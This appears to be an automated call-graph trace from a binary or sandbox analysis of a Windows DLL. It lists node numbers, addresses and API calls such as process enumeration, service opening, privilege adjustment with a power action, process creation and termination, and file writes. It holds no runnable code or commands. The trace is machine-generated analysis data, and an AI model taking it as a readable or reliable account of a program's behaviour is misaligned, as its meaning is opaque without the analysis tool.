6c8ad458 std::ios_base::_Ios_base_dtor _strlen 100325->100327 100326->100205 100326->100320 100326->100321 100326->100324 100332 6c8acb2f 100326->100332 100327->100188 100328 6c8ad8bb 100327->100328 100329 6c8ad8a4 100327->100329 100333 6c8ad852 _Yarn _strlen 100327->100333 100331 6ca26a43 std::_Facet_Register 4 API calls 100328->100331 100330 6ca26a43 std::_Facet_Register 4 API calls 100329->100330 100330->100333 100331->100333 100333->100205 100334 6c8adccf 100333->100334 100335 6c8adcb6 100333->100335 100338 6c8adc69 _Yarn 100333->100338 100337 6ca26a43 std::_Facet_Register 4 API calls 100334->100337 100336 6ca26a43 std::_Facet_Register 4 API calls 100335->100336 100336->100338 100337->100338 100339 6ca25960 104 API calls 100338->100339 100341 6c8add1c std::ios_base::_Ios_base_dtor 100339->100341 100340 6ca24ff0 4 API calls 100340->100269 100341->100188 100341->100340 100343 6ca26a48 100342->100343 100344 6ca26a62 100343->100344 100347 6ca26a64 std::_Facet_Register 100343->100347 100454 6ca2f014 EnterCriticalSection LeaveCriticalSection std::_Facet_Register 100343->100454 100344->100186 100346 6ca278c3 std::_Facet_Register 100458 6ca29379 RaiseException 100346->100458 100347->100346 100455 6ca29379 RaiseException 100347->100455 100349 6ca280bc IsProcessorFeaturePresent 100355 6ca280e1 100349->100355 100351 6ca27883 100456 6ca29379 RaiseException 100351->100456 100353 6ca278a3 std::invalid_argument::invalid_argument 100457 6ca29379 RaiseException 100353->100457 100355->100186 100357 6ca1aed4 100356->100357 100358 6ca1aed6 FindFirstFileA 100356->100358 100357->100358 100359 6ca1af10 100358->100359 100359->100192 100361 6ca25156 100360->100361 100362 6ca251e8 OpenServiceA 100361->100362 100363 6ca2522f 100361->100363 100362->100361 100363->100237 100369 6ca103a3 _Yarn __wsopen_s std::locale::_Setgloballocale _strlen 100364->100369 100365 6ca13f5f CloseHandle 100365->100369 100366 6ca1310e CloseHandle 100366->100369 100367 6ca1251b CloseHandle 100367->100369 100368 6c8b37cb 100372 6ca25d60 GetCurrentProcess OpenProcessToken LookupPrivilegeValueW AdjustTokenPrivileges NtInitiatePowerAction 100368->100372 100369->100365 100369->100366 100369->100367 100369->100368 100370 6c9fc1e0 WriteFile WriteFile WriteFile ReadFile 100369->100370 100459 6c9fb730 100369->100459 100370->100369 100372->100203 100374 6c8c6bd5 100373->100374 100470 6c8f2020 100374->100470 100376 6c8c6c68 100377 6ca26a43 std::_Facet_Register 4 API calls 100376->100377 100378 6c8c6ca0 100377->100378 100487 6ca27327 100378->100487 100380 6c8c6cb4 100499 6c8f1d90 100380->100499 100383 6c8c6d8e 100383->100248 100385 6c8c6dc8 100507 6c8f26e0 24 API calls 4 library calls 100385->100507 100387 6c8c6dda 100508 6ca29379 RaiseException 100387->100508 100389 6c8c6def 100390 6c8ee010 67 API calls 100389->100390 100391 6c8c6e0f 100390->100391 100391->100248 100393 6c8c6e9f 100392->100393 100396 6c8c6eb3 100393->100396 100898 6c8f3560 32 API calls std::_Xinvalid_argument 100393->100898 100398 6c8c6f5b 100396->100398 100900 6c8f2250 30 API calls 100396->100900 100901 6c8f26e0 24 API calls 4 library calls 100396->100901 100902 6ca29379 RaiseException 100396->100902 100397 6c8c6f6e 100397->100248 100398->100397 100899 6c8f37e0 32 API calls std::_Xinvalid_argument 100398->100899 100403 6c8c709e 100402->100403 100407 6c8c70d1 100402->100407 100903 6c8f01f0 100403->100903 100405 6c8c7183 100405->100237 100407->100405 100907 6c8f2250 30 API calls 100407->100907 100409 6ca30b18 67 API calls 100409->100407 100410 6c8c71ae 100908 6c8f2340 24 API calls 100410->100908 100412 6c8c71be 100909 6ca29379 RaiseException 100412->100909 100414 6c8c71c9 100416 6c8ee04b 100415->100416 100417 6c8ee0a3 100416->100417 100418 6c8f01f0 64 API calls 100416->100418 100417->100237 100419 6c8ee098 100418->100419 100420 6ca30b18 67 API calls 100419->100420 100420->100417 100421->100232 100423 6ca250ca 100422->100423 100424 6ca25080 WaitForSingleObject CloseHandle CloseHandle 100423->100424 100425 6ca250e3 100423->100425 100424->100423 100425->100241 100426->100252 100428 6ca259b7 100427->100428 100955 6ca25ff0 100428->100955 100430 6ca259c8 100431 6c8c6ba0 104 API calls 100430->100431 100438 6ca259ec 100431->100438 100432 6ca25a67 100433 6c8ee010 67 API calls 100432->100433 100434 6ca25a9f std::ios_base::_Ios_base_dtor 100433->100434 100436 6c8ee010 67 API calls 100434->100436 100439 6ca25ae2 std::ios_base::_Ios_base_dtor 100436->100439 100437 6ca25a54 100992 6ca25b90 100437->100992 100438->100432 100438->100437 100974 6ca26340 100438->100974 100982 6c902000 100438->100982 100439->100291 100442 6ca25a5c 100443 6c8c7090 77 API calls 100442->100443 100443->100432 100444->100282 100446 6ca252a0 std::locale::_Setgloballocale 100445->100446 100447 6ca25277 CloseHandle 100446->100447 100448 6ca25320 Process32NextW 100446->100448 100449 6ca253b1 100446->100449 100450 6ca25345 Process32FirstW 100446->100450 100447->100446 100448->100446 100449->100211 100450->100446 100451->100228 100453->100209 100454->100343 100455->100351 100456->100353 100457->100346 100458->100349 100460 6c9fb743 _Yarn __wsopen_s std::locale::_Setgloballocale 100459->100460 100461 6c9fc180 100460->100461 100462 6c9fbced CreateFileA 100460->100462 100464 6c9faa30 100460->100464 100461->100369 100462->100460 100467 6c9faa43 __wsopen_s std::locale::_Setgloballocale 100464->100467 100465 6c9fb43d WriteFile 100465->100467 100466 6c9fb3e9 WriteFile 100466->100467 100467->100465 100467->100466 100468 6c9fb718 100467->100468 100469 6c9fab95 ReadFile 100467->100469 100468->100460 100469->100467 100471 6ca26a43 std::_Facet_Register 4 API calls 100470->100471 100472 6c8f207e 100471->100472 100473 6ca27327 43 API calls 100472->100473 100474 6c8f2092 100473->100474 100509 6c8f2f60 42 API calls 4 library calls 100474->100509 100476 6c8f210d 100479 6c8f2120 100476->100479 100510 6ca26f8e 9 API calls 2 library calls 100476->100510 100477 6c8f20c8 100477->100476 100478 6c8f2136 100477->100478 100511 6c8f2250 30 API calls 100478->100511 100479->100376 100482 6c8f215b 100512 6c8f2340 24 API calls 100482->100512 100484 6c8f2171 100513 6ca29379 RaiseException 100484->100513 100486 6c8f217c 100486->100376 100488 6ca27333 __EH_prolog3 100487->100488 100514 6ca26eb5 100488->100514 100492 6ca27351 100528 6ca273ba 39 API calls std::locale::_Setgloballocale 100492->100528 100494 6ca273ac 100494->100380 100496 6ca27359 100529 6ca271b1 HeapFree GetLastError _Yarn ___std_exception_destroy 100496->100529 100498 6ca2736f 100520 6ca26ee6 100498->100520 100500 6c8f1ddc 100499->100500 100501 6c8c6d5d 100499->100501 100534 6ca27447 100500->100534 100501->100383 100506 6c8f2250 30 API calls 100501->100506 100505 6c8f1e82 100506->100385 100507->100387 100508->100389 100509->100477 100510->100479 100511->100482 100512->100484 100513->100486 100515 6ca26ec4 100514->100515 100516 6ca26ecb 100514->100516 100530 6ca303cd 6 API calls std::_Lockit::_Lockit 100515->100530 100518 6ca26ec9 100516->100518 100531 6ca2858b EnterCriticalSection 100516->100531 100518->100498 100527 6ca27230 6 API calls 2 library calls 100518->100527 100521 6ca26ef0 100520->100521 100522 6ca303db 100520->100522 100526 6ca26f03 100521->100526 100532 6ca28599 LeaveCriticalSection 100521->100532 100533 6ca303b6 LeaveCriticalSection 100522->100533 100524 6ca303e2 100524->100494 100526->100494 100527->100492 100528->100496 100529->100498 100530->100518 100531->100518 100532->100526 100533->100524 100535 6ca27450 100534->100535 100536 6c8f1dea 100535->100536 100543 6ca2fd4a 100535->100543 100536->100501 100542 6ca2c563 18 API calls __wsopen_s 100536->100542 100538 6ca2749c 100538->100536 100554 6ca2fa58 65 API calls 100538->100554 100540 6ca274b7 100540->100536 100555 6ca30b18 100540->100555 100542->100505 100545 6ca2fd55 __wsopen_s 100543->100545 100544 6ca2fd68 100580 6ca30120 18 API calls __wsopen_s 100544->100580 100545->100544 100546 6ca2fd88 100545->100546 100550 6ca2fd78 100546->100550 100566 6ca3ae0c 100546->100566 100550->100538 100554->100540 100556 6ca30b24 __wsopen_s 100555->100556 100557 6ca30b43 100556->100557 100558 6ca30b2e 100556->100558 100559 6ca30b3e 100557->100559 100761 6ca2c5a9 EnterCriticalSection 100557->100761 100776 6ca30120 18 API calls __wsopen_s 100558->100776 100559->100536 100562 6ca30b60 100762 6ca30b9c 100562->100762 100564 6ca30b6b 100777 6ca30b92 LeaveCriticalSection 100564->100777 100567 6ca3ae18 __wsopen_s 100566->100567 100582 6ca3039f EnterCriticalSection 100567->100582 100569 6ca3ae26 100583 6ca3aeb0 100569->100583 100574 6ca3af72 100575 6ca3b091 100574->100575 100607 6ca3b114 100575->100607 100578 6ca2fdcc 100581 6ca2fdf5 LeaveCriticalSection 100578->100581 100580->100550 100581->100550 100582->100569 100591 6ca3aed3 100583->100591 100584 6ca3ae33 100597 6ca3ae6c 100584->100597 100585 6ca3af2b 100602 6ca371e5 EnterCriticalSection LeaveCriticalSection HeapAlloc __Getctype std::_Facet_Register 100585->100602 100587 6ca3af34 100603 6ca347bb HeapFree GetLastError _free 100587->100603 100590 6ca3af3d 100590->100584 100604 6ca36c1f 6 API calls std::_Lockit::_Lockit 100590->100604 100591->100584 100591->100585 100591->100591 100600 6ca2c5a9 EnterCriticalSection 100591->100600 100601 6ca2c5bd LeaveCriticalSection 100591->100601 100593 6ca3af5c 100605 6ca2c5a9 EnterCriticalSection 100593->100605 100596 6ca3af6f 100596->100584 100606 6ca303b6 LeaveCriticalSection 100597->100606 100599 6ca2fda3 100599->100550 100599->100574 100600->100591 100601->100591 100602->100587 100603->100590 100604->100593 100605->100596 100606->100599 100608 6ca3b133 100607->100608 100609 6ca3b146 100608->100609 100614 6ca3b15b 100608->100614 100623 6ca30120 18 API calls __wsopen_s 100609->100623 100611 6ca3b0a7 100611->100578 100620 6ca43fde 100611->100620 100612 6ca3b27b 100612->100611 100627 6ca30120 18 API calls __wsopen_s 100612->100627 100614->100612 100624 6ca43ea8 37 API calls __wsopen_s 100614->100624 100616 6ca3b2cb 100616->100612 100625 6ca43ea8 37 API calls __wsopen_s 100616->100625 100618 6ca3b2e9 100618->100612 100626 6ca43ea8 37 API calls __wsopen_s 100618->100626 100628 6ca44396 100620->100628 100623->100611 100624->100616 100625->100618 100626->100612 100627->100611 100630 6ca443a2 __wsopen_s 100628->100630 100629 6ca443a9 100646 6ca30120 18 API calls __wsopen_s 100629->100646 100630->100629 100631 6ca443d4 100630->100631 100637 6ca43ffe 100631->100637 100636 6ca43ff9 100636->100578 100648 6ca306cb 100637->100648 100642 6ca44034 100644 6ca44066 100642->100644 100688 6ca347bb HeapFree GetLastError _free 100642->100688 100647 6ca4442b LeaveCriticalSection __wsopen_s 100644->100647 100646->100636 100647->100636 100689 6ca2bceb 100648->100689 100651 6ca306ef 100653 6ca2bdf6 100651->100653 100698 6ca2be4e 100653->100698 100655 6ca2be0e 100655->100642 100656 6ca4406c 100655->100656 100713 6ca444ec 100656->100713 100662 6ca4409e __dosmaperr 100662->100642 100663 6ca44192 GetFileType 100665 6ca441e4 100663->100665 100666 6ca4419d GetLastError 100663->100666 100664 6ca44167 GetLastError 100664->100662 100743 6ca417b0 SetStdHandle __dosmaperr __wsopen_s 100665->100743 100742 6ca2f9f2 __dosmaperr _free 100666->100742 100667 6ca44115 100667->100663 100667->100664 100741 6ca44457 CreateFileW 100667->100741 100670 6ca441ab CloseHandle 100670->100662 100685 6ca441d4 100670->100685 100672 6ca4415a 100672->100663 100672->100664 100673 6ca44205 100674 6ca44251 100673->100674 100744 6ca44666 70 API calls 2 library calls 100673->100744 100678 6ca44258 100674->100678 100758 6ca44710 70 API calls 2 library calls 100674->100758 100677 6ca44286 100677->100678 100679 6ca44294 100677->100679 100745 6ca3b925 100678->100745 100679->100662 100681 6ca44310 CloseHandle 100679->100681 100759 6ca44457 CreateFileW 100681->100759 100683 6ca4433b 100684 6ca44345 GetLastError 100683->100684 100683->100685 100686 6ca44351 __dosmaperr 100684->100686 100685->100662 100760 6ca4171f SetStdHandle __dosmaperr __wsopen_s 100686->100760 100688->100644 100690 6ca2bd02 100689->100690 100691 6ca2bd0b 100689->100691 100690->100651 100697 6ca369d5 5 API calls std::_Lockit::_Lockit 100690->100697 100691->100690 100692 6ca349b2 __Getctype 37 API calls 100691->100692 100693 6ca2bd2b 100692->100693 100694 6ca34f28 __Getctype 37 API calls 100693->100694 100695 6ca2bd41 100694->100695 100696 6ca34f55 __fassign 37 API calls 100695->100696 100696->100690 100697->100651 100699 6ca2be76 100698->100699 100700 6ca2be5c 100698->100700 100702 6ca2be9c 100699->100702 100703 6ca2be7d 100699->100703 100701 6ca2bddc __wsopen_s HeapFree GetLastError 100700->100701 100712 6ca2be66 __dosmaperr 100701->100712 100704 6ca34843 __fassign MultiByteToWideChar 100702->100704 100706 6ca2bd9d __wsopen_s HeapFree GetLastError 100703->100706 100703->100712 100705 6ca2beab 100704->100705 100707 6ca2beb2 GetLastError 100705->100707 100708 6ca2bed8 100705->100708 100709 6ca2bd9d __wsopen_s HeapFree GetLastError 100705->100709 100706->100712 100707->100712 100710 6ca34843 __fassign MultiByteToWideChar 100708->100710 100708->100712 100709->100708 100711 6ca2beef 100710->100711 100711->100707 100711->100712 100712->100655 100714 6ca44527 100713->100714 100716 6ca4450d 100713->100716 100715 6ca4447c __wsopen_s 18 API calls 100714->100715 100720 6ca4455f 100715->100720 100716->100714 100717 6ca30120 __wsopen_s 18 API calls 100716->100717 100717->100714 100718 6ca4458e 100719 6ca45911 __wsopen_s 18 API calls 100718->100719 100724 6ca44089 100718->100724 100721 6ca445dc 100719->100721 100720->100718 100723 6ca30120 __wsopen_s 18 API calls 100720->100723 100722 6ca44659 100721->100722 100721->100724 100725 6ca3014d __Getctype 11 API calls 100722->100725 100723->100718 100724->100662 100727 6ca4160c 100724->100727 100726 6ca44665 100725->100726 100728 6ca41618 __wsopen_s 100727->100728 100729 6ca3039f std::_Lockit::_Lockit EnterCriticalSection 100728->100729 100730 6ca4161f 100729->100730 100731 6ca41666 100730->100731 100732 6ca41644 100730->100732 100737 6ca416b3 EnterCriticalSection 100730->100737 100733 6ca41716 __wsopen_s LeaveCriticalSection 100731->100733 100734 6ca41842 __wsopen_s 11 API calls 100732->100734 100735 6ca41686 100733->100735 100736 6ca41649 100734->100736 100735->100662 100740 6ca44457 CreateFileW 100735->100740 100736->100731 100739 6ca41990 __wsopen_s EnterCriticalSection 100736->100739 100737->100731 100738 6ca416c0 LeaveCriticalSection 100737->100738 100738->100730 100739->100731 100740->100667 100741->100672 100742->100670 100743->100673 100744->100674 100746 6ca415a2 __wsopen_s 18 API calls 100745->100746 100749 6ca3b935 100746->100749 100747 6ca3b93b 100748 6ca4171f __wsopen_s SetStdHandle 100747->100748 100757 6ca3b993 __dosmaperr 100748->100757 100749->100747 100750 6ca3b96d 100749->100750 100752 6ca415a2 __wsopen_s 18 API calls 100749->100752 100750->100747 100751 6ca415a2 __wsopen_s 18 API calls 100750->100751 100753 6ca3b979 CloseHandle 100751->100753 100754 6ca3b964 100752->100754 100753->100747 100756 6ca3b985 GetLastError 100753->100756 100755 6ca415a2 __wsopen_s 18 API calls 100754->100755 100755->100750 100756->100747 100757->100662 100758->100677 100759->100683 100760->100685 100761->100562 100763 6ca30ba9 100762->100763 100764 6ca30bbe 100762->100764 100800 6ca30120 18 API calls __wsopen_s 100763->100800 100768 6ca30bb9 100764->100768 100778 6ca30cb9 100764->100778 100768->100564 100772 6ca30be1 100793 6ca3b898 100772->100793 100774 6ca30be7 100774->100768 100801 6ca347bb HeapFree GetLastError _free 100774->100801 100776->100559 100777->100559 100779 6ca30cd1 100778->100779 100780 6ca30bd3 100778->100780 100779->100780 100781 6ca39c60 18 API calls 100779->100781 100784 6ca3873e 100780->100784 100782 6ca30cef 100781->100782 100802 6ca3bb6c 100782->100802 100785 6ca38755 100784->100785 100786 6ca30bdb 100784->100786 100785->100786 100885 6ca347bb HeapFree GetLastError _free 100785->100885 100788 6ca39c60 100786->100788 100789 6ca39c81 100788->100789 100790 6ca39c6c 100788->100790 100789->100772 100886 6ca30120 18 API calls __wsopen_s 100790->100886 100792 6ca39c7c 100792->100772 100794 6ca3b8be 100793->100794 100798 6ca3b8a9 __dosmaperr 100793->100798 100795 6ca3b8e5 100794->100795 100797 6ca3b907 __dosmaperr 100794->100797 100887 6ca3b9c1 100795->100887 100895 6ca30120 18 API calls __wsopen_s 100797->100895 100798->100774 100800->100768 100801->100768 100803 6ca3bb78 __wsopen_s 100802->100803 100804 6ca3bb80 __dosmaperr 100803->100804 100805 6ca3bbca 100803->100805 100806 6ca3bc33 __dosmaperr 100803->100806 100804->100780 100813 6ca41990 EnterCriticalSection 100805->100813 100843 6ca30120 18 API calls __wsopen_s 100806->100843 100808 6ca3bbd0 100810 6ca3bbec __dosmaperr 100808->100810 100814 6ca3bc5e 100808->100814 100842 6ca3bc2b LeaveCriticalSection __wsopen_s 100810->100842 100813->100808 100815 6ca3bc80 100814->100815 100841 6ca3bc9c __dosmaperr 100814->100841 100816 6ca3bcd4 100815->100816 100817 6ca3bc84 __dosmaperr 100815->100817 100818 6ca3bce7 100816->100818 100852 6ca3ac69 20 API calls __wsopen_s 100816->100852 100851 6ca30120 18 API calls __wsopen_s 100817->100851 100844 6ca3be40 100818->100844 100823 6ca3bcfd 100825 6ca3bd01 100823->100825 100826 6ca3bd26 100823->100826 100824 6ca3bd3c 100827 6ca3bd50 100824->100827 100828 6ca3bd95 WriteFile 100824->100828 100825->100841 100853 6ca3c25b 6 API calls __wsopen_s 100825->100853 100854 6ca3beb1 43 API calls 5 library calls 100826->100854 100831 6ca3bd85 100827->100831 100832 6ca3bd5b 100827->100832 100830 6ca3bdb9 GetLastError 100828->100830 100828->100841 100830->100841 100857 6ca3c2c3 7 API calls 2 library calls 100831->100857 100833 6ca3bd60 100832->100833 100834 6ca3bd75 100832->100834 100837 6ca3bd65 100833->100837 100833->100841 100856 6ca3c487 8 API calls 3 library calls 100834->100856 100855 6ca3c39e 7 API calls 2 library calls 100837->100855 100839 6ca3bd73 100839->100841 100841->100810 100842->100804 100843->100804 100845 6ca419e5 __wsopen_s 18 API calls 100844->100845 100846 6ca3be51 100845->100846 100850 6ca3bcf8 100846->100850 100858 6ca349b2 GetLastError 100846->100858 100849 6ca3be8e GetConsoleMode 100849->100850 100850->100823 100850->100824 100851->100841 100852->100818 100853->100841 100854->100841 100855->100839 100856->100839 100857->100839 100859 6ca349cf 100858->100859 100860 6ca349c9 100858->100860 100861 6ca36b62 __Getctype 6 API calls 100859->100861 100864 6ca349d5 SetLastError 100859->100864 100862 6ca36b23 __Getctype 6 API calls 100860->100862 100863 6ca349ed 100861->100863 100862->100859 100863->100864 100865 6ca349f1 100863->100865 100871 6ca34a63 100864->100871 100872 6ca34a69 100864->100872 100866 6ca371e5 __Getctype EnterCriticalSection LeaveCriticalSection HeapAlloc 100865->100866 100868 6ca349fd 100866->100868 100869 6ca34a05 100868->100869 100870 6ca34a1c 100868->100870 100875 6ca36b62 __Getctype 6 API calls 100869->100875 100874 6ca36b62 __Getctype 6 API calls 100870->100874 100871->100849 100871->100850 100873 6ca30ac9 __Getctype 35 API calls 100872->100873 100876 6ca34a6e 100873->100876 100877 6ca34a28 100874->100877 100878 6ca34a13 100875->100878 100879 6ca34a3d 100877->100879 100880 6ca34a2c 100877->100880 100882 6ca347bb _free HeapFree GetLastError 100878->100882 100884 6ca347bb _free HeapFree GetLastError 100879->100884 100881 6ca36b62 __Getctype 6 API calls 100880->100881 100881->100878 100883 6ca34a19 100882->100883 100883->100864 100884->100883 100885->100786 100886->100792 100888 6ca3b9cd __wsopen_s 100887->100888 100896 6ca41990 EnterCriticalSection 100888->100896 100890 6ca3b9db 100891 6ca3b925 __wsopen_s 21 API calls 100890->100891 100892 6ca3ba08 100890->100892 100891->100892 100897 6ca3ba41 LeaveCriticalSection __wsopen_s 100892->100897 100894 6ca3ba2a 100894->100798 100895->100798 100896->100890 100897->100894 100898->100396 100899->100397 100900->100396 100901->100396 100902->100396 100904 6c8f022e 100903->100904 100905 6c8c70c4 100904->100905 100910 6ca317db 100904->100910 100905->100409 100907->100410 100908->100412 100909->100414 100911 6ca31806 100910->100911 100912 6ca317e9 100910->100912 100911->100904 100912->100911 100913 6ca317f6 100912->100913 100914 6ca3180a 100912->100914 100926 6ca30120 18 API calls __wsopen_s 100913->100926 100918 6ca31a02 100914->100918 100919 6ca31a0e __wsopen_s 100918->100919 100927 6ca2c5a9 EnterCriticalSection 100919->100927 100921 6ca31a1c 100928 6ca319bf 100921->100928 100925 6ca3183c 100925->100904 100926->100911 100927->100921 100936 6ca385a6 100928->100936 100934 6ca319f9 100935 6ca31a51 LeaveCriticalSection 100934->100935 100935->100925 100937 6ca39c60 18 API calls 100936->100937 100938 6ca385b7 100937->100938 100939 6ca419e5 __wsopen_s 18 API calls 100938->100939 100941 6ca385bd __wsopen_s 100939->100941 100940 6ca319d3 100943 6ca3183e 100940->100943 100941->100940 100953 6ca347bb HeapFree GetLastError _free 100941->100953 100945 6ca31850 100943->100945 100947 6ca3186e 100943->100947 100944 6ca3185e 100954 6ca30120 18 API calls __wsopen_s 100944->100954 100945->100944 100945->100947 100951 6ca31886 _Yarn 100945->100951 100952 6ca38659 62 API calls 100947->100952 100948 6ca30cb9 62 API calls 100948->100951 100949 6ca39c60 18 API calls 100949->100951 100950 6ca3bb6c __wsopen_s 62 API calls 100950->100951 100951->100947 100951->100948 100951->100949 100951->100950 100952->100934 100953->100940 100954->100947 100956 6ca26025 100955->100956 100957 6c8f2020 52 API calls 100956->100957 100958 6ca260c6 100957->100958 100959 6ca26a43 std::_Facet_Register 4 API calls 100958->100959 100960 6ca260fe 100959->100960 100961 6ca27327 43 API calls 100960->100961 100962 6ca26112 100961->100962 100963 6c8f1d90 89 API calls 100962->100963 100964 6ca261bb 100963->100964 100965 6ca261ec 100964->100965 101007 6c8f2250 30 API calls 100964->101007 100965->100430 100967 6ca26226 101008 6c8f26e0 24 API calls 4 library calls 100967->101008 100969 6ca26238 101009 6ca29379 RaiseException 100969->101009 100971 6ca2624d 100972 6c8ee010 67 API calls 100971->100972 100973 6ca2625f 100972->100973 100973->100430 100975 6ca2638d 100974->100975 101010 6ca265a0 100975->101010 100977 6ca2647c 100977->100438 100980 6ca263a5 100980->100977 101028 6c8f2250 30 API calls 100980->101028 101029 6c8f26e0 24 API calls 4 library calls 100980->101029 101030 6ca29379 RaiseException 100980->101030 100983 6c90203f 100982->100983 100986 6c902053 100983->100986 101039 6c8f3560 32 API calls std::_Xinvalid_argument 100983->101039 100988 6c90210e 100986->100988 101041 6c8f2250 30 API calls 100986->101041 101042 6c8f26e0 24 API calls 4 library calls 100986->101042 101043 6ca29379 RaiseException 100986->101043 100987 6c902121 100987->100438 100988->100987 101040 6c8f37e0 32 API calls std::_Xinvalid_argument 100988->101040 100993 6ca25b9e 100992->100993 100994 6ca25bd1 100992->100994 100995 6c8f01f0 64 API calls 100993->100995 100996 6ca25c83 100994->100996 101044 6c8f2250 30 API calls 100994->101044 100997 6ca25bc4 100995->100997 100996->100442 100998 6ca30b18 67 API calls 100997->100998 100998->100994 101000 6ca25cae 101045 6c8f2340 24 API calls 101000->101045 101002 6ca25cbe 101046 6ca29379 RaiseException 101002->101046 101004 6ca25cc9 101005 6c8ee010 67 API calls 101004->101005 101006 6ca25d22 std::ios_base::_Ios_base_dtor 101005->101006 101006->100442 101007->100967 101008->100969 101009->100971 101011 6ca26608 101010->101011 101012 6ca265dc 101010->101012 101017 6ca26619 101011->101017 101031 6c8f3560 32 API calls std::_Xinvalid_argument 101011->101031 101026 6ca26601 101012->101026 101033 6c8f2250 30 API calls 101012->101033 101015 6ca267e8 101034 6c8f2340 24 API calls 101015->101034 101017->101026 101032 6c8f2f60 42 API calls 4 library calls 101017->101032 101018 6ca267f7 101035 6ca29379 RaiseException 101018->101035 101022 6ca26827 101037 6c8f2340 24 API calls 101022->101037 101024 6ca2683d 101038 6ca29379 RaiseException 101024->101038 101026->100980 101027 6ca26653 101027->101026 101036 6c8f2250 30 API calls 101027->101036 101028->100980 101029->100980 101030->100980 101031->101017 101032->101027 101033->101015 101034->101018 101035->101027 101036->101022 101037->101024 101038->101026 101039->100986 101040->100987 101041->100986 101042->100986 101043->100986 101044->101000 101045->101002 101046->101004 101047 6c8b4a27 101051 6c8b4a5d _strlen 101047->101051 101048 6c8c639e 101138 6ca30130 18 API calls 2 library calls 101048->101138 101049 6c8b5b58 101053 6ca26a43 std::_Facet_Register 4 API calls 101049->101053 101050 6c8b5b6f 101054 6ca26a43 std::_Facet_Register 4 API calls 101050->101054 101051->101048 101051->101049 101051->101050 101055 6c8b5b09 _Yarn 101051->101055 101053->101055 101054->101055 101056 6ca1aec0 FindFirstFileA 101055->101056 101058 6c8b5bad std::ios_base::_Ios_base_dtor 101056->101058 101057 6ca24ff0 4 API calls 101063 6c8b61cb _strlen 101057->101063 101058->101048 101058->101057 101062 6c8b9ba5 std::ios_base::_Ios_base_dtor _Yarn _strlen 101058->101062 101059 6ca26a43 IsProcessorFeaturePresent RaiseException EnterCriticalSection LeaveCriticalSection std::_Facet_Register 101059->101062 101060 6ca1aec0 FindFirstFileA 101060->101062 101061 6c8ba292 Sleep 101089 6c8b9bb1 std::ios_base::_Ios_base_dtor _Yarn _strlen 101061->101089 101062->101048 101062->101059 101062->101060 101062->101061 101081 6c8be619 101062->101081 101063->101048 101064 6c8b660d 101063->101064 101065 6c8b6624 101063->101065 101073 6c8b65bc _Yarn _strlen 101063->101073 101066 6ca26a43 std::_Facet_Register 4 API calls 101064->101066 101067 6ca26a43 std::_Facet_Register 4 API calls 101065->101067 101066->101073 101067->101073 101068 6ca24ff0 CreateProcessA WaitForSingleObject CloseHandle CloseHandle 101068->101089 101069 6c8b9bbd GetCurrentProcess TerminateProcess 101069->101062 101070 6c8c63b2 101139 6c8a15e0 18 API calls std::ios_base::_Ios_base_dtor 101070->101139 101072 6c8c64f8 101073->101070 101074 6c8b6989 101073->101074 101075 6c8b6970 101073->101075 101078 6c8b6920 _Yarn 101073->101078 101077 6ca26a43 std::_Facet_Register 4 API calls 101074->101077 101076 6ca26a43 std::_Facet_Register 4 API calls 101075->101076 101076->101078 101077->101078 101079 6ca25960 104 API calls 101078->101079 101083 6c8b69d6 std::ios_base::_Ios_base_dtor _strlen 101079->101083 101080 6c8bf243 CreateFileA 101098 6c8bf2a7 101080->101098 101081->101080 101082 6c8b6d69 _Yarn _strlen 101082->101070 101090 6c8b7440 101082->101090 101091 6c8b7427 101082->101091 101094 6c8b73da _Yarn 101082->101094 101083->101048 101083->101082 101084 6c8b6dbb 101083->101084 101085 6c8b6dd2 101083->101085 101087 6ca26a43 std::_Facet_Register 4 API calls 101084->101087 101088 6ca26a43 std::_Facet_Register 4 API calls 101085->101088 101086 6c8c02ca 101087->101082 101088->101082 101089->101048 101089->101062 101089->101068 101089->101069 101089->101070 101097 6ca26a43 IsProcessorFeaturePresent RaiseException EnterCriticalSection LeaveCriticalSection std::_Facet_Register 101089->101097 101137 6ca25960 104 API calls 101089->101137 101093 6ca26a43 std::_Facet_Register 4 API calls 101090->101093 101092 6ca26a43 std::_Facet_Register 4 API calls 101091->101092 101092->101094 101093->101094 101096 6ca25960 104 API calls 101094->101096 101095 6c8c02ac GetCurrentProcess TerminateProcess 101095->101086 101099 6c8b748d std::ios_base::_Ios_base_dtor _strlen 101096->101099 101097->101089 101098->101086 101098->101095 101099->101048 101100 6c8b79a8 101099->101100 101101 6c8b7991 101099->101101 101106 6c8b7940 _Yarn _strlen 101099->101106 101103 6ca26a43 std::_Facet_Register 4 API calls 101100->101103 101102 6ca26a43 std::_Facet_Register 4 API calls 101101->101102 101102->101106 101103->101106 101104 6c8b7dc9 101107 6ca26a43 std::_Facet_Register 4 API calls 101104->101107 101105 6c8b7de2 101108 6ca26a43 std::_Facet_Register 4 API calls 101105->101108 101106->101070 101106->101104 101106->101105 101109 6c8b7d7c _Yarn 101106->101109 101107->101109 101108->101109 101110 6ca25960 104 API calls 101109->101110 101111 6c8b7e2f std::ios_base::_Ios_base_dtor _strlen 101110->101111 101111->101048 101112 6c8b85a8 101111->101112 101113 6c8b85bf 101111->101113 101121 6c8b8556 _Yarn _strlen 101111->101121 101114 6ca26a43 std::_Facet_Register 4 API calls 101112->101114 101115 6ca26a43 std::_Facet_Register 4 API calls 101113->101115 101114->101121 101115->101121 101116 6c8b896a 101118 6ca26a43 std::_Facet_Register 4 API calls 101116->101118 101117 6c8b8983 101119 6ca26a43 std::_Facet_Register 4 API calls 101117->101119 101120 6c8b891d _Yarn 101118->101120 101119->101120 101122 6ca25960 104 API calls 101120->101122 101121->101070 101121->101116 101121->101117 101121->101120 101123 6c8b89d0 std::ios_base::_Ios_base_dtor _strlen 101122->101123 101123->101048 101124 6c8b8f1f 101123->101124 101125 6c8b8f36 101123->101125 101128 6c8b8ecd _Yarn _strlen 101123->101128 101126 6ca26a43 std::_Facet_Register 4 API calls 101124->101126 101127 6ca26a43 std::_Facet_Register 4 API calls 101125->101127 101126->101128 101127->101128 101128->101070 101129 6c8b936d 101128->101129 101130 6c8b9354 101128->101130 101133 6c8b9307 _Yarn 101128->101133 101132 6ca26a43 std::_Facet_Register 4 API calls 101129->101132 101131 6ca26a43 std::_Facet_Register 4 API calls 101130->101131 101131->101133 101132->101133 101134 6ca25960 104 API calls 101133->101134 101136 6c8b93ba std::ios_base::_Ios_base_dtor 101134->101136 101135 6ca24ff0 4 API calls 101135->101062 101136->101048 101136->101135 101137->101089 101139->101072 101140 6ca2ef3f 101141 6ca2ef4b __wsopen_s 101140->101141 101142 6ca2ef52 GetLastError ExitThread 101141->101142 